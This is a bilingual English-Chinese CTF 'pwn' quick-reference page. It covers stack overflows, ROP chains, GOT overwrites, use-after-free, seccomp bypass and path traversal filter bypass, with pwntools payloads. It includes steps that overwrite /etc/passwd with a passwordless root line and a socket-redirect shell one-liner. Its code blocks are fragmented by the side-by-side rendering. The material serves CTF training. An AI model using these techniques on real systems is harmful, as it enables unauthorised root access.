ctf-pwn

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CTF Binary Exploitation (Pwn)

CTF二进制漏洞利用(Pwn)

Quick reference for pwn challenges. For detailed techniques, see supporting files.
Pwn挑战赛快速参考手册,详细技术请查看配套文件。

Additional Resources

额外资源

  • format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
  • advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)

  • format-string.md - 格式化字符串漏洞利用(信息泄露、GOT覆盖、盲Pwn、绕过过滤)
  • advanced.md - 高级技术(堆漏洞、JIT、特殊GOT、自定义分配器、DNS溢出)

Source Code Red Flags

源代码危险信号

  • Threading/
    pthread
    → race conditions
  • usleep()
    /
    sleep()
    → timing windows
  • Global variables in multiple threads → TOCTOU
  • 多线程/
    pthread
    → 竞争条件
  • usleep()
    /
    sleep()
    → 时间窗口漏洞
  • 多线程中的全局变量 → TOCTOU(检查时间与使用时间不一致)

Race Condition Exploitation

竞争条件漏洞利用

bash
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
bash
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'

Common Vulnerabilities

常见漏洞类型

  • Buffer overflow:
    gets()
    ,
    scanf("%s")
    ,
    strcpy()
  • Format string:
    printf(user_input)
  • Integer overflow, UAF, race conditions
  • 缓冲区溢出:
    gets()
    ,
    scanf("%s")
    ,
    strcpy()
  • 格式化字符串:
    printf(user_input)
  • 整数溢出、UAF(释放后使用)、竞争条件

Kernel Exploitation

内核漏洞利用

  • Look for vulnerable
    lseek
    handlers allowing OOB read/write
  • Heap grooming with forked processes
  • SUID binary exploitation via kernel-to-userland buffer overflow
  • Check kernel config for disabled protections:
    • CONFIG_SLAB_FREELIST_RANDOM=n
      → sequential heap chunks
    • CONFIG_SLAB_MERGE_DEFAULT=n
      → predictable allocations
  • 寻找存在越界读写风险的
    lseek
    处理器
  • 通过fork进程进行堆布局调整
  • 利用内核到用户态的缓冲区溢出来提权SUID二进制文件
  • 检查内核配置中是否禁用了防护机制:
    • CONFIG_SLAB_FREELIST_RANDOM=n
      → 堆块分配顺序可预测
    • CONFIG_SLAB_MERGE_DEFAULT=n
      → 分配地址可预测

FUSE/CUSE Character Device Exploitation

FUSE/CUSE字符设备漏洞利用

FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
  • Look for
    cuse_lowlevel_main()
    or
    fuse_main()
    calls
  • Device operations struct with
    open
    ,
    read
    ,
    write
    handlers
  • Device name registered via
    DEVNAME=backdoor
    or similar
Common vulnerability patterns:
c
// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
    char *cmd = strtok(input, ":");
    char *file = strtok(NULL, ":");
    char *mode = strtok(NULL, ":");
    if (!strcmp(cmd, "b4ckd00r")) {
        chmod(file, atoi(mode));  // Arbitrary chmod!
    }
}
Exploitation:
bash
undefined
FUSE(用户态文件系统) / CUSE(用户态字符设备)
识别方法:
  • 查找
    cuse_lowlevel_main()
    fuse_main()
    调用
  • 包含
    open
    read
    write
    处理器的设备操作结构体
  • 通过
    DEVNAME=backdoor
    或类似方式注册的设备名称
常见漏洞模式:
c
// 后门模式:带命令解析的write处理器
void backdoor_write(const char *input, size_t len) {
    char *cmd = strtok(input, ":");
    char *file = strtok(NULL, ":");
    char *mode = strtok(NULL, ":");
    if (!strcmp(cmd, "b4ckd00r")) {
        chmod(file, atoi(mode));  // 任意修改文件权限!
    }
}
利用方法:
bash
undefined

Change /etc/passwd permissions via custom device

通过自定义设备修改/etc/passwd权限

echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor

511 decimal = 0777 octal (rwx for all)

511十进制 = 0777八进制(所有用户可读可写可执行)

Now modify passwd to get root

现在修改passwd获取root权限

echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root

**Privilege escalation via passwd modification:**
1. Make `/etc/passwd` writable via the backdoor
2. Replace root line with `root::0:0:root:/root:/bin/sh` (no password)
3. `su root` without password prompt
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root

**通过修改passwd提权步骤:**
1. 通过后门让`/etc/passwd`变为可写
2. 将root行替换为`root::0:0:root:/root:/bin/sh`(无密码)
3. 无需密码即可通过`su root`切换到root用户

Busybox/Restricted Shell Escalation

Busybox/受限Shell提权

When in restricted environment without sudo:
  1. Find writable paths via character devices
  2. Target system files:
    /etc/passwd
    ,
    /etc/shadow
    ,
    /etc/sudoers
  3. Modify permissions then content to gain root
处于无sudo权限的受限环境时:
  1. 通过字符设备找到可写路径
  2. 瞄准系统文件:
    /etc/passwd
    /etc/shadow
    /etc/sudoers
  3. 修改权限后再修改内容以获取root权限

Protection Implications for Exploit Strategy

防护机制对漏洞利用策略的影响

ProtectionStatusImplication
PIEDisabledAll addresses (GOT, PLT, functions) are fixed - direct overwrites work
RELROPartialGOT is writable - GOT overwrite attacks possible
RELROFullGOT is read-only - need alternative targets (hooks, vtables, return addr)
NXEnabledCan't execute shellcode on stack/heap - use ROP or ret2win
CanaryPresentStack smash detected - need leak or avoid stack overflow (use heap)
Quick decision tree:
  • Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
  • Full RELRO → target
    __free_hook
    ,
    __malloc_hook
    (glibc < 2.34), or return addresses
  • Stack canary present → prefer heap-based attacks or leak canary first
防护机制状态影响
PIE禁用所有地址(GOT、PLT、函数)固定,可直接覆盖
RELRO部分启用GOT可写,可进行GOT覆盖攻击
RELRO完全启用GOT只读,需要寻找替代目标(钩子、虚函数表、返回地址)
NX启用无法在栈/堆上执行shellcode,需使用ROP或ret2win
栈金丝雀存在可检测栈溢出,需先泄露金丝雀或避免栈溢出(使用堆漏洞)
快速决策树:
  • 部分RELRO + 无PIE → GOT覆盖(最简单,使用固定地址)
  • 完全RELRO → 瞄准
    __free_hook
    __malloc_hook
    (glibc < 2.34)或返回地址
  • 存在栈金丝雀 → 优先使用堆基攻击或先泄露金丝雀

Stack Buffer Overflow

栈缓冲区溢出

  1. Find offset to return address:
    cyclic 200
    then
    cyclic -l <value>
  2. Check protections:
    checksec --file=binary
  3. No PIE + No canary = direct ROP
  4. Canary leak via format string or partial overwrite
  1. 找到返回地址的偏移:
    cyclic 200
    后使用
    cyclic -l <value>
    计算
  2. 检查防护机制:
    checksec --file=binary
  3. 无PIE + 无金丝雀 = 直接ROP
  4. 通过格式化字符串或部分覆盖泄露金丝雀

ret2win with Parameter (Magic Value Check)

带参数检查的ret2win(魔法值验证)

Pattern: Win function checks argument against magic value before printing flag.
c
// Common pattern in disassembly
void win(long arg) {
    if (arg == 0x1337c0decafebeef) {  // Magic check
        // Open and print flag
    }
}
Exploitation (x86-64):
python
from pwn import *
模式: Win函数在打印flag前会检查参数是否匹配魔法值。
c
// 反汇编中常见的模式
void win(long arg) {
    if (arg == 0x1337c0decafebeef) {  // 魔法值检查
        // 打开并打印flag
    }
}
利用方法(x86-64架构):
python
from pwn import *

Find gadgets

查找gadget

pop_rdi_ret = 0x40150b # pop rdi; ret ret = 0x40101a # ret (for stack alignment) win_func = 0x4013ac magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120 bytes to reach return address
payload = b"A" * offset payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte) payload += p64(pop_rdi_ret) payload += p64(magic) payload += p64(win_func)

**Finding the win function:**
- Search for `fopen("flag.txt")` or similar in Ghidra
- Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparison
pop_rdi_ret = 0x40150b # pop rdi; ret ret = 0x40101a # ret(用于栈对齐) win_func = 0x4013ac magic = 0x1337c0decafebeef
offset = 112 + 8 # = 120字节以到达返回地址
payload = b"A" * offset payload += p64(ret) # 栈对齐(Ubuntu/glibc要求16字节对齐) payload += p64(pop_rdi_ret) payload += p64(magic) payload += p64(win_func)

**寻找win函数:**
- 在Ghidra中搜索`fopen("flag.txt")`或类似调用
- 寻找无交叉引用且检查魔法参数的函数
- 查找参数比较后有条件打印/退出的模式

Stack Alignment (16-byte Requirement)

栈对齐(16字节要求)

Modern Ubuntu/glibc requires 16-byte stack alignment before
call
instructions. Symptoms of misalignment:
  • SIGSEGV in
    movaps
    instruction (SSE requires alignment)
  • Crash inside libc functions (printf, system, etc.)
Fix: Add extra
ret
gadget before your ROP chain:
python
payload = b"A" * offset
payload += p64(ret)        # Align stack to 16 bytes
payload += p64(pop_rdi_ret)
现代Ubuntu/glibc要求在
call
指令前栈必须16字节对齐。对齐错误的症状:
  • movaps
    指令触发SIGSEGV(SSE要求对齐)
  • 在libc函数(如printf、system等)内部崩溃
修复方法: 在ROP链前添加额外的
ret
gadget:
python
payload = b"A" * offset
payload += p64(ret)        # 将栈对齐到16字节
payload += p64(pop_rdi_ret)

... rest of chain

... 剩余ROP链

undefined
undefined

Offset Calculation from Disassembly

从反汇编计算偏移

asm
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp        ; Stack frame = 0x70 (112) bytes
...
lea    -0x70(%rbp),%rax  ; Buffer at rbp-0x70
mov    $0xf0,%edx        ; read() size = 240 (overflow!)
Calculate offset:
  • Buffer starts at
    rbp - buffer_offset
    (e.g., rbp-0x70)
  • Saved RBP is at
    rbp
    (0 offset from buffer end)
  • Return address is at
    rbp + 8
  • Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
asm
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp        ; 栈帧大小 = 0x70(112)字节
...
lea    -0x70(%rbp),%rax  ; 缓冲区位于rbp-0x70
mov    $0xf0,%edx        ; read()读取大小 = 240(存在溢出!)
计算偏移:
  • 缓冲区起始于
    rbp - buffer_offset
    (例如rbp-0x70)
  • 保存的RBP位于
    rbp
    (缓冲区末尾偏移0)
  • 返回地址位于
    rbp + 8
  • 总偏移 = buffer_offset + 8 = 112 + 8 = 120字节

Input Filtering (memmem checks)

输入过滤(memmem检查)

Some challenges filter input using
memmem()
to block certain strings:
python
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload
部分挑战赛会使用
memmem()
过滤输入,阻止特定字符串:
python
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload

Finding Gadgets

寻找Gadget

bash
undefined
bash
undefined

Find pop rdi; ret

查找pop rdi; ret

objdump -d binary | grep -B1 "pop.*rdi" ROPgadget --binary binary | grep "pop rdi"
objdump -d binary | grep -B1 "pop.*rdi" ROPgadget --binary binary | grep "pop rdi"

Find simple ret (for alignment)

查找简单的ret(用于对齐)

objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
undefined
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
undefined

Struct Pointer Overwrite (Heap Menu Challenges)

结构体指针覆盖(堆菜单挑战赛)

Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
c
struct Student {
    char name[36];      // offset 0x00 - data buffer
    int *grade_ptr;     // offset 0x24 - pointer to separate allocation
    float gpa;          // offset 0x28
};  // total: 0x2c (44 bytes)
Exploitation:
python
from pwn import *

WIN = 0x08049316
GOT_TARGET = 0x0804c00c  # printf@GOT
模式: 基于菜单的程序,对包含数据缓冲区和指针的结构体执行创建/修改/删除/查看操作。修改/编辑函数读取的字节数超过数据缓冲区大小,溢出到相邻的指针字段。
结构体布局示例:
c
struct Student {
    char name[36];      // 偏移0x00 - 数据缓冲区
    int *grade_ptr;     // 偏移0x24 - 指向独立分配内存的指针
    float gpa;          // 偏移0x28
};  // 总大小: 0x2c(44字节)
利用方法:
python
from pwn import *

WIN = 0x08049316
GOT_TARGET = 0x0804c00c  # printf@GOT

1. Create object (allocates struct + sub-allocations)

1. 创建对象(分配结构体及子分配内存)

create_student("AAAA", 5, 3.5)
create_student("AAAA", 5, 3.5)

2. Modify name - overflow into pointer field with GOT address

2. 修改name字段 - 溢出到指针字段,写入GOT地址

payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr modify_name(0, payload)
payload = b'A' * 36 + p32(GOT_TARGET) # 36字节填充 + GOT地址 modify_name(0, payload)

3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT

3. 修改grade - scanf("%d", corrupted_ptr)写入GOT

modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
modify_grade(0, str(WIN)) # 将win地址以整数形式写入GOT条目

4. Trigger overwritten function -> jumps to win

4. 触发被覆盖的函数 → 跳转到win


**GOT target selection strategy:**
- Identify which libc functions the `win` function calls internally
- Do NOT overwrite GOT entries for functions used by `win` (causes infinite recursion/crash)
- Prefer functions called in the main loop AFTER the write

| Win uses | Safe GOT targets |
|----------|-------------------|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |

**GOT目标选择策略:**
- 识别win函数内部调用的libc函数
- 不要覆盖win函数使用的GOT条目(会导致无限递归/崩溃)
- 优先选择写入操作后在主循环中调用的函数

| Win函数使用 | 安全的GOT目标 |
|----------|-------------------|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| 仅system | puts, printf, exit |

ROP Chain Building

ROP链构建

python
from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
python
from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)

Common gadgets

常用gadget

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0]

Leak libc

泄露libc地址

payload = flat( b'A' * offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] )
undefined
payload = flat( b'A' * offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'] )
undefined

Pwntools Template

Pwntools模板

python
from pwn import *

context.binary = elf = ELF('./binary')
context.log_level = 'debug'

def conn():
    if args.REMOTE:
        return remote('host', port)
    return process('./binary')

io = conn()
python
from pwn import *

context.binary = elf = ELF('./binary')
context.log_level = 'debug'

def conn():
    if args.REMOTE:
        return remote('host', port)
    return process('./binary')

io = conn()

exploit here

漏洞利用代码

io.interactive()
undefined
io.interactive()
undefined

Useful Commands

实用命令

bash
one_gadget libc.so.6           # Find one-shot gadgets
ropper -f binary               # Find ROP gadgets
ROPgadget --binary binary      # Alternative gadget finder
seccomp-tools dump ./binary    # Check seccomp rules
bash
one_gadget libc.so.6           # 查找one-shot gadget
ropper -f binary               # 查找ROP gadget
ROPgadget --binary binary      # 另一个gadget查找工具
seccomp-tools dump ./binary    # 检查seccomp规则

Use-After-Free (UAF) Exploitation

释放后使用(UAF)漏洞利用

Pattern: Menu-based programs with create/delete/view operations where
free()
doesn't NULL the pointer.
Classic UAF flow:
  1. Create object A (allocates chunk with function pointer)
  2. Leak address via inspect/view (bypass PIE)
  3. Free object A (creates dangling pointer)
  4. Allocate object B of same size (reuses freed chunk via tcache)
  5. Object B data overwrites A's function pointer with
    win()
    address
  6. Trigger A's callback → jumps to
    win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
python
undefined
模式: 基于菜单的程序,执行创建/删除/查看操作时
free()
未将指针置空。
经典UAF利用流程:
  1. 创建对象A(分配包含函数指针的chunk)
  2. 通过查看/检查功能泄露地址(绕过PIE)
  3. 释放对象A(产生悬空指针)
  4. 分配相同大小的对象B(通过tcache重用已释放的chunk)
  5. 对象B的数据将A的函数指针覆盖为
    win()
    地址
  6. 触发A的回调函数 → 跳转到
    win()
关键要点: 两个结构体必须大小相同,tcache才会重用该chunk。
python
undefined

UAP Watch pattern

UAP监控模式

create_report("sighting-0") # 64-byte struct with callback ptr at +56 leak = inspect_report(0) # Leak callback address for PIE bypass pie_base = leak - redaction_offset win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
create_report("sighting-0") # 64字节结构体,回调指针位于+56偏移 leak = inspect_report(0) # 泄露回调地址以绕过PIE pie_base = leak - redaction_offset win_addr = pie_base + win_offset
delete_report(0) # 释放chunk,悬空指针保留

Allocate same-size struct, overwriting callback

分配相同大小的结构体,覆盖回调指针

create_signal(b"A"*56 + p64(win_addr)) analyze_report(0) # Calls dangling pointer → win()
undefined
create_signal(b"A"*56 + p64(win_addr)) analyze_report(0) # 调用悬空指针 → win()
undefined

Seccomp Bypass

Seccomp绕过

Alternative syscalls when seccomp blocks
open()
/
read()
:
  • openat()
    (257),
    openat2()
    (437, often missed!),
    sendfile()
    (40),
    readv()
    /
    writev()
Check rules:
seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly,
scmp_arg_cmp
struct layout.
当seccomp阻止
open()
/
read()
时的替代系统调用:
  • openat()
    (257)、
    openat2()
    (437,常被忽略!)、
    sendfile()
    (40)、
    readv()
    /
    writev()
检查规则:
seccomp-tools dump ./binary
查看advanced.md获取更多内容:条件缓冲区地址限制、无重定位的shellcode构造(call/pop技巧)、从反汇编分析seccomp、
scmp_arg_cmp
结构体布局。

Stack Shellcode with Input Reversal

带输入反转的栈Shellcode

Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
  1. Leak address via info-leak command (bypass PIE)
  2. Find
    sub rsp, 0x10; jmp *%rsp
    gadget
  3. Pre-reverse shellcode and RIP overwrite bytes
  4. Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
  5. Place trampoline (
    jmp short
    ) to hop back into NOP sled + shellcode
Null-byte avoidance with
scanf("%s")
:
  • Can't embed
    \x00
    in payload
  • Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
  • Use short jumps and NOP sleds instead of multi-address ROP chains
模式(Scarecode): 二进制文件在返回前会反转输入缓冲区。
策略:
  1. 通过信息泄露命令泄露地址(绕过PIE)
  2. 查找
    sub rsp, 0x10; jmp *%rsp
    gadget
  3. 预先反转shellcode和RIP覆盖字节
  4. 使用6字节RIP部分覆盖(避免规范地址中的空字节)
  5. 放置跳板(
    jmp short
    )跳回NOP滑条+shellcode
使用
scanf("%s")
时避免空字节:
  • 不能在payload中嵌入
    \x00
  • 使用部分指针覆盖(6字节)—— 高2字节因映射相同而匹配
  • 使用短跳转和NOP滑条替代多地址ROP链

Path Traversal Sanitizer Bypass

路径遍历 sanitizer 绕过

Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
python
undefined
模式(银河档案): Sanitizer在发现禁用字符后会跳过下一个字符。
python
undefined

Sanitizer removes '.' and '/' but skips next char after match

Sanitizer会移除'.'和'/',但匹配后会跳过下一个字符

../../etc/passwd → bypass with doubled chars:

../../etc/passwd → 使用重复字符绕过:

"....//....//etc//passwd"
"....//....//etc//passwd"

Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)

每个'..'变为'....'(第一个'.'被拦截,第二个被跳过,第三个被拦截,第四个保留)


**Flag via `/proc/self/fd/N`:**
- If binary opens flag file but doesn't close fd, read via `/proc/self/fd/3`
- fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file

**通过`/proc/self/fd/N`获取flag:**
- 如果二进制文件打开flag文件但未关闭fd,可通过`/proc/self/fd/3`读取
- fd 0=标准输入,1=标准输出,2=标准错误,3=第一个打开的文件

Global Buffer Overflow (CSV Injection)

全局缓冲区溢出(CSV注入)

Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
  1. Identify global array adjacent to filename pointer in memory
  2. Overflow array bounds by injecting extra delimiters (commas in CSV)
  3. Overflowed pointer lands on filename variable
  4. Change filename to
    flag.txt
    , then trigger read operation
python
undefined
模式(电子表格): 相邻全局变量可通过溢出被利用。
利用方法:
  1. 识别内存中与文件名指针相邻的全局数组
  2. 通过注入额外分隔符(CSV中的逗号)溢出数组边界
  3. 溢出的指针覆盖文件名变量
  4. 将文件名改为
    flag.txt
    ,然后触发读取操作
python
undefined

Edit last cell with comma-separated overflow

用逗号分隔的溢出内容编辑最后一个单元格

edit_cell("J10", "whatever,flag.txt") save() # CSV row now has 11 columns load() # Column 11 overwrites savefile pointer with ptr to "flag.txt" load() # Now reads flag.txt into spreadsheet print_spreadsheet() # Shows flag
undefined
edit_cell("J10", "whatever,flag.txt") save() # CSV行现在有11列 load() # 第11列覆盖保存文件指针为指向"flag.txt"的指针 load() # 现在读取flag.txt到电子表格 print_spreadsheet() # 显示flag
undefined

Shell Tricks

Shell技巧

File descriptor redirection (no reverse shell needed):
bash
undefined
文件描述符重定向(无需反向Shell):
bash
undefined

Redirect stdin/stdout to client socket (fd 3 common for network)

将标准输入/输出重定向到客户端套接字(fd 3常见于网络连接)

exec <&3; sh >&3 2>&3
exec <&3; sh >&3 2>&3

Or as single command string

或作为单个命令字符串

exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars

**Find correct fd:**
```bash
ls -la /proc/self/fd           # List open file descriptors
Short shellcode alternatives:
  • sh<&3 >&3
    - minimal shell redirect
  • Use
    $0
    instead of
    sh
    in some shells
exec<&3;sh>&3
- 网络服务器通常将客户端连接放在fd 3
- 避免出站连接的防火墙问题
- 在具有命令执行权限但字符受限的场景中有效

**查找正确的fd:**
```bash
ls -la /proc/self/fd           # 列出打开的文件描述符
简化版shellcode替代方案:
  • sh<&3 >&3
    - 最小化Shell重定向
  • 在部分Shell中使用
    $0
    替代
    sh